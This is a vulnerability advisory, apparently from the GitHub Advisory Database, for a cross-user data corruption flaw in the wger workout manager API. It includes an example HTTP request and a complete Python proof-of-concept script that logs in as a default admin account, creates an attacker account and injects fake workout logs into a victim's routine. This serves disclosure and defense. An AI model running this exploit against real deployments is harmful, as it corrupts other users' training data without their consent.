wger
Affected
- introduced
0, last affected2.1(ecosystem)
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: CVE-2026-46438, PYSEC-2026-4314
wger: Cross-User Data Corruption via Missing Ownership Check on WorkoutLog.slot_entry
Summary
An authenticated attacker can inject arbitrary workout log entries into any other user's SlotEntry by supplying the victim's slot_entry ID in a POST /api/v2/workoutlog/ request. The slot_entry foreign key is not included in the ownership verification performed by WorkoutLogViewSet.get_owner_objects(), so the server accepts and persists the cross-user reference without error.
Because SlotEntry.get_config_data() retrieves associated logs via self.workoutlog_set.all() with no user filter, the attacker's injected data is silently folded into the victim's progressive-overload calculations, corrupting their auto-generated weight and repetition targets.
Details
wger uses a centralized ownership-verification pattern in WgerOwnerObjectModelViewSet.create() (file: wger/utils/viewsets.py). This method iterates over the list returned by each ViewSet's get_owner_objects() and verifies that every listed foreign-key value in the request belongs to the authenticated user. Foreign keys not present in the list are never checked.
WorkoutLogViewSet.get_owner_objects() returns:
# File: wger/manager/api/views.py, lines 312-316
def get_owner_objects(self):
return [(Routine, 'routine'), (WorkoutSession, 'session')]
# ^^^^^^^ checked ^^^^^^^^^^^^^^^ checked
# (SlotEntry, 'slot_entry') is MISSING
Because slot_entry is omitted, an attacker can supply their own routine (which passes the ownership check) alongside a victim's slot_entry ID (which is never verified).
The second contributing factor is in SlotEntry.get_config_data():
# File: wger/manager/models/slot_entry.py, line 367
logs = list(self.workoutlog_set.all()) # no .filter(user=...)
This reverse-relation query returns all WorkoutLog rows linked to the SlotEntry, regardless of which user created them. The attacker's injected entries are therefore included in the victim's progression calculations.
PoC
Prerequisites
SlotEntry IDRoutine of their own (to satisfy the routine ownership check)Attack Steps
POST /api/v2/workoutlog/
Authorization: Token <attacker_token>
Content-Type: application/json
{
"routine": <attacker_routine_id>,
"slot_entry": <victim_slot_entry_id>,
"exercise": <any_valid_exercise_id>,
"repetitions": 999,
"weight": 999,
"repetitions_unit": 1,
"weight_unit": 1,
"date": "2025-01-15",
"iteration": 1
}
Expected: HTTP 403 (the slot_entry belongs to another user)
Actual: HTTP 201 (the log is created and linked to the victim's SlotEntry)
Proof of Concept Script
#!/usr/bin/env python3
"""
PoC: Cross-User Data Corruption via WorkoutLog.slot_entry IDOR
Target: wger Workout Manager
Severity: CRITICAL - CVSS 7.1
CWE-639: Authorization Bypass Through User-Controlled Key
Usage:
python3 poc.py http://localhost:8000
"""
import requests
import sys
import json
from datetime import date, timedelta
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <BASE_URL>")
print(f"Example: {sys.argv[0]} http://localhost:8000")
sys.exit(1)
BASE = sys.argv[1].rstrip("/")
API = f"{BASE}/api/v2"
VICTIM_USER = "admin"
VICTIM_PASS = "adminadmin"
ATTACKER_USER = "attacker_idor_poc"
ATTACKER_PASS = "Attacker!Poc!2025"
BANNER = """
=====================================================================
PoC: Cross-User Data Corruption via WorkoutLog.slot_entry IDOR
Severity: CRITICAL
CWE-639: Authorization Bypass Through User-Controlled Key
=====================================================================
"""
print(BANNER)
# ---- Helper ----
def api_login(username, password):
r = requests.post(f"{API}/login/", json={
"username": username, "password": password
})
if r.status_code == 200:
return r.json().get("token")
return None
def api_headers(token):
return {"Authorization": f"Token {token}", "Content-Type": "application/json"}
# ---- 1. Authenticate both users ----
print("[1] Authenticating users...")
victim_token = api_login(VICTIM_USER, VICTIM_PASS)
if not victim_token:
print(f"[-] Cannot log in as victim ({VICTIM_USER}). Check credentials.")
sys.exit(1)
print(f" Victim ({VICTIM_USER}): token={victim_token[:16]}...")
attacker_token = api_login(ATTACKER_USER, ATTACKER_PASS)
if not attacker_token:
print(f" Registering attacker account...")
r = requests.post(f"{API}/register/", json={
"username": ATTACKER_USER,
"password": ATTACKER_PASS,
})
if r.status_code in (200, 201):
attacker_token = r.json().get("token")
if not attacker_token:
attacker_token = api_login(ATTACKER_USER, ATTACKER_PASS)
if not attacker_token:
print(f"[-] Cannot create/login attacker. Response: {r.text[:200]}")
sys.exit(1)
print(f" Attacker ({ATTACKER_USER}): token={attacker_token[:16]}...")
# ---- 2. Create victim's routine chain ----
print("\n[2] Setting up victim's private routine chain...")
vh = api_headers(victim_token)
today = str(date.today())
end_date = str(date.today() + timedelta(days=30))
r = requests.post(f"{API}/routine/", headers=vh, json={
"name": "Victim Private Routine", "start": today, "end": end_date
})
victim_routine_id = r.json()["id"]
print(f" Routine id={victim_routine_id}")
r = requests.post(f"{API}/day/", headers=vh, json={
"routine": victim_routine_id, "order": 1, "name": "Push Day"
})
victim_day_id = r.json()["id"]
print(f" Day id={victim_day_id}")
r = requests.post(f"{API}/slot/", headers=vh, json={
"day": victim_day_id, "order": 1
})
victim_slot_id = r.json()["id"]
print(f" Slot id={victim_slot_id}")
r = requests.get(f"{API}/exercise/?limit=1&format=json", headers=vh)
exercise_id = r.json()["results"][0]["id"]
r = requests.post(f"{API}/slot-entry/", headers=vh, json={
"slot": victim_slot_id, "exercise": exercise_id, "order": 1, "type": "normal"
})
victim_slot_entry_id = r.json()["id"]
print(f" SlotEntry id={victim_slot_entry_id} <-- TARGET")
# ---- 3. Create attacker's own routine ----
print("\n[3] Creating attacker's own routine...")
ah = api_headers(attacker_token)
r = requests.post(f"{API}/routine/", headers=ah, json={
"name": "Attacker Routine", "start": today, "end": end_date
})
attacker_routine_id = r.json()["id"]
print(f" Attacker routine id={attacker_routine_id}")
# ---- 4. ATTACK ----
print(f"\n{'='*65}")
print(f" ATTACK: Injecting fake WorkoutLog into victim's SlotEntry")
print(f"{'='*65}")
payload = {
"routine": attacker_routine_id,
"slot_entry": victim_slot_entry_id,
"exercise": exercise_id,
"repetitions": 999,
"weight": 999,
"repetitions_unit": 1,
"weight_unit": 1,
"date": today,
"iteration": 1,
}
print(f"\n POST {API}/workoutlog/")
print(f" routine = {attacker_routine_id} (attacker's own -> passes check)")
print(f" slot_entry = {victim_slot_entry_id} (VICTIM's -> NOT CHECKED)")
print(f" weight = 999")
print(f" reps = 999")
r = requests.post(f"{API}/workoutlog/", headers=ah, json=payload)
print(f"\n Response: HTTP {r.status_code}")
if r.status_code == 201:
d = r.json()
print(f" Created WorkoutLog id={d['id']}")
print(f" slot_entry = {d['slot_entry']} <- VICTIM's SlotEntry!")
print(f" routine = {d['routine']} <- attacker's routine")
print(f" weight = {d['weight']}")
print(f" reps = {d['repetitions']}")
elif r.status_code == 403:
print(" Access denied - NOT vulnerable (patched)")
sys.exit(0)
else:
print(f" Unexpected: {r.text[:300]}")
sys.exit(1)
# ---- 5. VERIFY ----
print(f"\n{'='*65}")
print(f" VERIFICATION")
print(f"{'='*65}")
r = requests.get(
f"{API}/routine/{victim_routine_id}/date-sequence-display/",
headers=vh,
)
print(f"\n GET /api/v2/routine/{victim_routine_id}/date-sequence-display/")
print(f" (as victim - this endpoint consumes the injected logs)")
print(f" HTTP {r.status_code}")
if r.status_code == 200:
seq = r.json()
print(f" Returned {len(seq)} day(s) of data")
if seq:
print(f" First entry (truncated):")
print(f" {json.dumps(seq[0], indent=2)[:600]}")
r2 = requests.get(f"{API}/workoutlog/?format=json", headers=vh)
victim_logs = r2.json().get("results", [])
print(f"\n Victim's own /api/v2/workoutlog/ shows {len(victim_logs)} log(s)")
print(f" (The injected log is owned by attacker, so it does NOT appear")
print(f" in victim's list view - but it IS attached to victim's SlotEntry")Medium Basis: The source's own band: MODERATE
0, last affected 2.1 (ecosystem)None listed
No fixed version is listed.
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0